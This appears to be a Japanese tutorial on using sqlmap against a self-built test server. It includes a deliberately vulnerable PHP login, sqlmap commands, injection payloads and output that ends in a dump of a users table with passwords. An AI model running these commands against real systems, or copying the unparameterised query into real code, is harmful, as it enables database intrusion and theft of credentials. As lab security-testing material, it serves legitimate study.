sqlmapでSQLインジェクションの検証

はじめに
---------

ここではpython製のツールである、sqlmapを使って
SQLインジェクションの検証をします。

検証目的ですので、自分でたてたテストサーバにSQLインジェクションを
しかけます。

対応しているDB
----------------

* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
* Microsoft Access
* IBM DB2
* SQLite
* Firebird
* Sybase
* SAP MaxDB


検知できるSQLインジェクションの種類
-------------------------------------

* boolean-based blind
* time-based blind
* error-based
* UNION query
* stacked queries
* out-of-band

検証環境
---------

* 攻撃用サーバ(sqlmap実行側):

  * OS: CentOS6.4 x86_64

  * Python: python2.2.6

* 攻撃対象サーバ:

  * OS: CentOS6.4 x86_64

  * php: 5.3.2

  * Apache: 2.2.25

  * PostgreSQL: 9.2.5

攻撃対象サイト
---------------

下記のPHPスクリプトを用意しました。

ログインフォーム(sql_injection-002.html):

```html
<html>
<head><title>ログインしてください</title></head>
<body>
<form action="sql_injection-003.php" method="POST">
ユーザ名<input type="text" name="ID"><br>
パスワード<input type="text" name="PWD"><br>
<input type="submit" value="ログイン">
</form>
</body>
</html>
```

ログイン処理スクリプト(sql_injection-003.php):

```php
<?php
  session_start();
  header('Content-Type: text/html; charset=UTF-8');
  $id = @$_POST['ID'];   // ユーザID
  $pwd = @$_POST['PWD']; // パスワード
  // データベースに接続しコネクションオブジェクトを生成
  $con = pg_connect("host=localhost dbname=wasbook user=postgres password=wasbook");
  // SQLの組み立て(プレースホルダは意図的に使用しない)
  $sql = "SELECT * FROM users WHERE id ='$id' and PWD = '$pwd'";
  $rs = pg_query($con, $sql);  // クエリー実行
?>
<html>
<body>
<?php
  if (pg_num_rows($rs) > 0) { // SELECTした行が存在する場合ログイン成功
    $_SESSION['id'] = $id;
    echo 'ログイン成功です';
  } else {
    echo 'ログイン失敗です';
  }
  pg_close($con);
?>
</body>
</html>
```

sqlmapインストール
--------------------

GitHからリポジトリをフォークするだけです。

```bash
$ git clone https://github.com/sqlmapproject/sqlmap.git
$ cd sqlmap
```

使い方
-------

他の方が説明をしてくれているので、ここでは細かい説明はしませんが、基本的なことだけ

GETメソッドの場合の例:

```bash
python sqlmap.py -u "http://example.jp/sql_injection-003.php?ID=1&PWD=2"
```

POSTメソッドの場合の例:

```bash
python sqlmap.py -u "http://example.jp/sql_injection-003.php" --data "ID=1&PWD=2"
```

基本的なコマンド:

コマンド(center)|説明(center)                                 |
:---------------|:--------------------------------------------|
--dbs           |データベースの一覧を取得
--tables        |テーブルの一覧を取得 
-D              |データベースの指定(PostgreSQLではサーチパス)
-T              |テーブルの指定
--colums        |-Tと一緒に使いテーブル定義を一覧
--dump          |-Tと一緒に使いテーブルデータをダンプ


脆弱性診断をする
------------------

診断を開始します:

```bash
$ ./sqlmap.py -u "http://example.jp/sql_injection-003.php" --data="ID=1&PWD=2" --dbms PostgreSQL

    sqlmap/1.0-dev-67115ed - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 07:05:04

[07:05:04] [WARNING] using '/home/shyamahira/.sqlmap/output' as the output directory
[07:05:04] [INFO] testing connection to the target URL
[07:05:04] [INFO] testing if the target URL is stable. This can take a couple of seconds
[07:05:05] [INFO] target URL is stable
[07:05:05] [INFO] testing if POST parameter 'ID' is dynamic
[07:05:05] [WARNING] POST parameter 'ID' does not appear dynamic
[07:05:05] [INFO] heuristic (basic) test shows that POST parameter 'ID' might be injectable (possible DBMS: 'PostgreSQL')
[07:05:05] [INFO] testing for SQL injection on POST parameter 'ID'
[07:05:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:05:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:05:05] [INFO] POST parameter 'ID' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable 
[07:05:05] [INFO] testing 'PostgreSQL inline queries'
[07:05:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[07:05:05] [WARNING] time-based comparison requires larger statistical model, please wait.....                                                
[07:05:15] [INFO] POST parameter 'ID' seems to be 'PostgreSQL > 8.1 stacked queries' injectable 
[07:05:15] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[07:05:25] [INFO] POST parameter 'ID' seems to be 'PostgreSQL > 8.1 AND time-based blind' injectable 
[07:05:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[07:05:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[07:05:25] [WARNING] reflective value(s) found and filtering out
[07:05:25] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[07:05:25] [INFO] target URL appears to have 6 columns in query
```

以下のように聞かれたら、Yで応答します:

```bash
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] 
```

IDパラメータで脆弱性が検出されました:

```bash
POST parameter 'ID' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
```

上記メッセージをyで応答し、処理を進めます:

```bash
[07:10:07] [INFO] testing if POST parameter 'PWD' is dynamic
[07:10:07] [WARNING] POST parameter 'PWD' does not appear dynamic
[07:10:07] [INFO] heuristic (basic) test shows that POST parameter 'PWD' might be injectable (possible DBMS: 'PostgreSQL')
[07:10:07] [INFO] testing for SQL injection on POST parameter 'PWD'
[07:10:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:10:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:10:07] [INFO] POST parameter 'PWD' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable 
[07:10:07] [INFO] testing 'PostgreSQL inline queries'
[07:10:07] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[07:10:17] [INFO] POST parameter 'PWD' seems to be 'PostgreSQL > 8.1 stacked queries' injectable 
[07:10:17] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[07:10:27] [INFO] POST parameter 'PWD' seems to be 'PostgreSQL > 8.1 AND time-based blind' injectable 
[07:10:27] [INFO] testing 'Generic UNION query (60) - 1 to 20 columns'
```

PWDパラメータで脆弱性が検出されました:

```bash
POST parameter 'PWD' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
```

上記メッセージをyで応答し、処理を進めます:

PWDとIDパラメータにerror-basedのSQLインジェクションの脆弱性があると診断診断されました:

```bash
sqlmap identified the following injection points with a total of 101 HTTP(s) requests:
---
Place: POST
Parameter: PWD
    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: ID=1&PWD=2' AND 5991=CAST((CHR(113)||CHR(112)||CHR(99)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (5991=5991) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(117)||CHR(117)||CHR(113)) AS NUMERIC) AND 'iBQp'='iBQp

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries
    Payload: ID=1&PWD=2'; SELECT PG_SLEEP(5)--

    Type: AND/OR time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: ID=1&PWD=2' AND 9601=(SELECT 9601 FROM PG_SLEEP(5)) AND 'oMeE'='oMeE

Place: POST
Parameter: ID
    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: ID=1' AND 3272=CAST((CHR(113)||CHR(112)||CHR(99)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (3272=3272) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(117)||CHR(117)||CHR(113)) AS NUMERIC) AND 'ahLa'='ahLa&PWD=2

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries
    Payload: ID=1'; SELECT PG_SLEEP(5)--&PWD=2

    Type: AND/OR time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: ID=1' AND 3167=(SELECT 3167 FROM PG_SLEEP(5)) AND 'GbHI'='GbHI&PWD=2
---
```

ここではQuitで止めます:

```bash
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: ID, type: Single quoted string (default)
[1] place: POST, parameter: PWD, type: Single quoted string
[q] Quit
```

データベースの一覧を取得する
--------------------------------

```bash
$ ./sqlmap.py -u "http://example.jp/sql_injection-003.php" --data="ID=1&PWD=2" --dbs
～ 略 ～
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: PWD, type: Single quoted string (default)　<-ここでは0を選択する
[1] place: POST, parameter: ID, type: Single quoted string
[q] Quit

～ 略 ～

available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public

[11:57:55] [INFO] fetched data logged to text files under '/home/shyamahira/.sqlmap/output/example.jp'

[*] shutting down at 11:57:55
```

テーブルの一覧を取得する
-------------------------

```bash
$ ./sqlmap.py -u "http://example.jp/sql_injection-003.php" --data="ID=1&PWD=2" --tables
～ 略 ～
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: PWD, type: Single quoted string (default)　<-ここでは0を選択する
[1] place: POST, parameter: ID, type: Single quoted string
[q] Quit

～ 略 ～

Database: pg_catalog
[42 tables]
+-------------------------+
| pg_aggregate            |
| pg_am                   |
| pg_amop                 |
| pg_amproc               |
| pg_attrdef              |
| pg_attribute            |
| pg_auth_members         |
| pg_authid               |
| pg_cast                 |
| pg_class                |
| pg_constraint           |
| pg_conversion           |
| pg_database             |
| pg_depend               |
| pg_description          |
| pg_enum                 |
| pg_foreign_data_wrapper |
| pg_foreign_server       |
| pg_index                |
| pg_inherits             |
| pg_language             |
| pg_largeobject          |
| pg_listener             |
| pg_namespace            |
| pg_opclass              |
| pg_operator             |
| pg_opfamily             |
| pg_pltemplate           |
| pg_proc                 |
| pg_rewrite              |
| pg_shdepend             |
| pg_shdescription        |
| pg_statistic            |
| pg_tablespace           |
| pg_trigger              |
| pg_ts_config            |
| pg_ts_config_map        |
| pg_ts_dict              |
| pg_ts_parser            |
| pg_ts_template          |
| pg_type                 |
| pg_user_mapping         |
+-------------------------+

Database: information_schema
[7 tables]
+-------------------------+
| sql_features            |
| sql_implementation_info |
| sql_languages           |
| sql_packages            |
| sql_parts               |
| sql_sizing              |
| sql_sizing_profiles     |
+-------------------------+

Database: public
[4 tables]
+-------------------------+
| books                   |
| dummy                   |
| test                    |
| users                   |
+-------------------------+

[12:06:06] [INFO] fetched data logged to text files under '/home/shyamahira/.sqlmap/output/example.jp'

[*] shutting down at 12:06:06
```

テーブルデータのダンプ(usersテーブル)
----------------------------------------

```bash
$ ./sqlmap.py -u "http://example.jp/sql_injection-003.php" --data="ID=1&PWD=2" -T users --dump
～ 略 ～
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: PWD, type: Single quoted string (default)　<-ここでは0を選択する
[1] place: POST, parameter: ID, type: Single quoted string
[q] Quit

～ 略 ～

Database: public
Table: users
[3 entries]
+--------+--------------+----------+---------+--------------------+------+
| id     | tel          | pwd      | addr    | mail               | name |
+--------+--------------+----------+---------+--------------------+------+
| sato   | 045-123-4567 | password | 神奈川県横浜市 | sato@example.net   | 佐藤一志 |
| tanaka | 03-1234-5678 | pass1    | 東京都港区三田 | takana@example.com | 山石京子 |
| yamada | 046-123-4567 | pass1    | 神奈川県川崎市 | yamada@example.jp  | 山田太一 |
+--------+--------------+----------+---------+--------------------+------+

[12:08:35] [INFO] table 'public.users' dumped to CSV file '/home/shyamahira/.sqlmap/output/example.jp/dump/public/users.csv'
[12:08:35] [INFO] fetched data logged to text files under '/home/shyamahira/.sqlmap/output/example.jp'

[*] shutting down at 12:08:35
```

最後に
------

sqlmapを実行した時、攻撃対象にどんなアクセスが来ているかについては
時間のある時に追記したいと思います。